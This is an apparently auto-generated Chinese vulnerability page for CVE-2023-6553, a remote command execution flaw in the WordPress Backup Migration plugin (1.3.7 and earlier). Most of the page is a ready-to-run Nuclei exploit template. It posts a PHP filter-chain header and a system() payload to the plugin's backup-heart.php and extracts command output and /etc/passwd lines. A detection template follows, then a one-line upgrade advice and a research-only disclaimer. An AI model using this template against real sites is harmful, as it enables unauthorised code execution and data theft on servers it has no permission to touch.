[webapps] WordPress Backup Migration 1.3.7 - Remote Command Execution

📋 漏洞基础信息

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: CVE-2023-6553-exploit

info:
  name: WordPress Backup Migration RCE Exploit
  author: yourname
  severity: critical
  description: Exploits Remote Command Execution in WordPress Backup Migration plugin <= 1.3.7 via PHP Filter Chain
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6553
    - https://www.exploit-db.com/exploits/52031
    - https://github.com/Chocapikk/CVE-2023-6553
  tags: wordpress,wp-plugin,rce,backup-migration
  classification:
    cve-id: CVE-2023-6553
    cwe-id: CWE-94

variables:
  cmd: 'id'

http:
  - raw:
      - |
        POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
        Host: {{Hostname}}
        Content-Dir: {{php_filter_payload}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        {{base64_encode(cmd)}}

    payloads:
      php_filter_payload: "php://filter/convert.base64-encode/resource=php://temp"

  - raw:
      - |
        POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
        Host: {{Hostname}}
        Content-Dir: php://filter/convert.base64-decode/resource=php://temp
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        {{base64('<?php system("{{cmd}}");?>')}}

    matchers:
      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - '(uid=[0-9]+\([a-zA-Z0-9_]+\) gid=[0-9]+\([a-zA-Z0-9_]+\))'
          - '(root:[^:]+:[0-9]+:[0-9]+:.*)'
        group: 1
        internal: false

🔍 Nuclei Detection 模板

以下为漏洞探测模板，用于判断目标是否受影响：

id: CVE-2023-6553-detection

info:
  name: WordPress Backup Migration Plugin Detection
  author: yourname
  severity: high
  description: Detects WordPress Backup Migration plugin version <= 1.3.7
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6553
    - https://www.exploit-db.com/exploits/52031
  tags: wordpress,wp-plugin,backup-migration

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/backup-backup/readme.txt'
      - '{{BaseURL}}/wp-content/plugins/backup-backup/includes/backup-heart.php'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Backup Migration'
          - 'backup-backup'
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - 'Stable tag: ([0-9.]+)'
          - 'Version ([0-9.]+)'
        group: 1

  - method: POST
    path:
      - '{{BaseURL}}/wp-content/plugins/backup-backup/includes/backup-heart.php'
    headers:
      Content-Dir: 'test'

    matchers:
      - type: status
        status:
          - 200
          - 500
        condition: or

      - type: word
        part: body
        words:
          - 'error'
          - 'success'
        condition: or

    matchers-condition: and

🛡️ 修复建议

请升级到厂商最新安全版本。

📎 参考链接

• Exploit-DB 原文

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-07 06:52 | 来源: Exploit-DB